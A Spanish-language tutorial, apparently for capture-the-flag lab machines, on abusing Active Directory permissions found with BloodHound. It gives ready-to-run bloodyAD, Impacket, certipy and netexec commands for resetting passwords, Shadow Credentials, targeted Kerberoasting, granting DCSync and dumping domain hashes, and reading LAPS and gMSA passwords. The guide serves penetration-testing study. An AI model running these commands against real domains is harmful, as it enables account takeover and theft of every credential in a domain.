Abuso de ACLs en Active Directory: GenericAll, WriteDacl, Shadow Credentials y DCSync
Qué hacer con cada flecha de BloodHound: cambiar contraseñas, añadirte a grupos, Shadow Credentials, darte DCSync con WriteDacl y leer LAPS o gMSA.
Cada objeto de Active Directory (un usuario, un grupo, un equipo, el propio dominio) tiene una lista de permisos: quién puede leerlo, cambiarle la contraseña, modificar sus atributos o sus propios permisos. Cuando esa lista da demasiado a quien no debe, aparece una flecha en BloodHound. Es el abuso de ACLs, presente en más de 30 máquinas del catálogo. Si aún no tienes el grafo, empieza por la guía de enumeración de AD.
La tabla: cada permiso y su abuso
| Permiso sobre... | Qué puedes hacer |
|---|---|
Usuario: GenericAll, AllExtendedRights, ForceChangePassword |
Cambiarle la contraseña |
Usuario: GenericAll, GenericWrite, WriteProperty |
Shadow Credentials, Kerberoasting dirigido o un script de inicio |
Grupo: GenericAll, GenericWrite, AddMember, AddSelf |
Añadirte al grupo |
Cualquier objeto: WriteDacl |
Darte a ti mismo GenericAll (y luego lo de arriba) |
Cualquier objeto: WriteOwner |
Hacerte dueño, y el dueño puede cambiar la DACL |
Equipo: GenericAll, GenericWrite, WriteProperty |
RBCD o Shadow Credentials sobre el equipo (delegación) |
Dominio: GetChanges + GetChangesAll |
DCSync: todos los hashes del dominio |
Dominio: WriteDacl |
Darte DCSync |
ReadLAPSPassword / ReadGMSAPassword |
Leer la contraseña del administrador local o de la cuenta gMSA |
Usaremos bloodyAD, que hace casi todo desde Linux con una sintaxis uniforme. Las alternativas con Impacket y PowerView están en la chuleta de Active Directory.
alias bad='bloodyAD --host 10.10.10.10 -d corp.local -u usuario -p "Contraseña1"'
Cambiar la contraseña de otro usuario
bad set password victima 'NuevaPass123!'
# Con Impacket / Samba
impacket-changepasswd corp.local/[email protected] -newpass 'NuevaPass123!' -altuser usuario -altpass 'Contraseña1' -reset
net rpc password victima 'NuevaPass123!' -U corp.local/usuario%'Contraseña1' -S 10.10.10.10
Cuidado
Cambiar una contraseña es ruidoso y rompe lo que el usuario estuviera usando. En un ejercicio real, prefiere Shadow Credentials o Kerberoasting dirigido, que no la tocan.
Añadirte a un grupo
bad add groupMember 'Remote Management Users' usuario
bad get object 'Remote Management Users' --attr member # compruébalo
Hay que volver a autenticarse para que el grupo nuevo cuente: un ticket o sesión antiguos no lo llevan.
Shadow Credentials
Si puedes escribir en el atributo msDS-KeyCredentialLink de un usuario o equipo, añades una clave tuya y te autenticas como él con PKINIT, obteniendo su hash NT sin cambiarle la contraseña (Shadow Credentials). Necesita un DC de Windows Server 2016 o posterior con certificados (una CA o un certificado de DC).
certipy shadow auto -u [email protected] -p 'Contraseña1' -account victima -dc-ip 10.10.10.10
# [*] NT hash for 'victima': 8846f7eaee8fb117ad06bdd830b7586c
Con el hash, entra o sigue moviéndote con pass-the-hash. Si certipy falla con KDC_ERR_PADATA_TYPE_NOSUPP, el DC no admite PKINIT: usa Kerberoasting dirigido.
Kerberoasting dirigido
Con GenericWrite sobre un usuario, ponle un SPN, pide su ticket y crackéalo (más en la guía de Kerberoasting):
python3 targetedKerberoast.py -d corp.local -u usuario -p 'Contraseña1' --dc-ip 10.10.10.10 --request-user victima
Solo funciona si la contraseña es débil. Si no, Shadow Credentials.
WriteDacl y WriteOwner
WriteDacl te deja editar los permisos del objeto, así que te das control total y aplicas la fila correspondiente de la tabla:
bad add genericAll 'CN=Victima,CN=Users,DC=corp,DC=local' usuario
# O con Impacket
impacket-dacledit -action write -rights FullControl -principal usuario -target victima corp.local/usuario:'Contraseña1'
Con WriteOwner, primero hazte dueño:
bad set owner victima usuario
impacket-owneredit -action write -new-owner usuario -target victima corp.local/usuario:'Contraseña1'
DCSync
Con los permisos de replicación sobre el dominio (los tienen Domain Admins, Enterprise Admins, los DC y a veces cuentas de sincronización como la de Azure AD Connect), pides al DC que te "replique" los secretos de cualquier cuenta (DCSync):
# Si tienes WriteDacl sobre el dominio, date el permiso
bad add dcsync usuario
# Y vuelca
impacket-secretsdump corp.local/usuario:'Contraseña1'@10.10.10.10 -just-dc-user Administrator
impacket-secretsdump corp.local/usuario:'Contraseña1'@10.10.10.10 -just-dc-ntlm
nxc smb 10.10.10.10 -u usuario -p 'Contraseña1' --ntds
Con el hash NT del administrador ya tienes el dominio. Con el de krbtgt, podrías crear un golden ticket (lo explica la guía de movimiento lateral).
LAPS y gMSA
LAPS guarda la contraseña del administrador local de cada equipo en un atributo que solo ciertos grupos pueden leer (LAPS). gMSA son cuentas de servicio cuya contraseña gestiona el dominio (gMSA).
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M laps
bad get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd # LAPS antiguo
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' --gmsa
python3 gMSADumper.py -u usuario -p 'Contraseña1' -d corp.local
Errores típicos
insufficientAccessRights: el permiso que ves en BloodHound viene heredado de un grupo en el que estás, pero la sesión que usas es anterior a que entraras en él. Vuelve a pedir el ticket o la sesión.- El cambio se deshace al rato: en algunas máquinas hay un script que restaura los permisos o la pertenencia a grupos cada pocos minutos. Encadena los pasos rápido o en un solo script.
AdminSDHolder: los miembros de grupos protegidos (Domain Admins, por ejemplo) recuperan sus ACL originales cada 60 minutos. Por eso las ACL sobre ellos "desaparecen".
Ejemplos del catálogo
Forest (Account Operators → Exchange Windows Permissions → WriteDacl → DCSync), Administrator (una cadena de ForceChangePassword y GenericWrite), Certified (WriteOwner y Shadow Credentials), EscapeTwo y Outdated (Shadow Credentials).
Y después
Si el camino de BloodHound acaba en un equipo en vez de en un usuario, sigue con delegación y RBCD. Si acaba en una plantilla de certificados, con ADCS.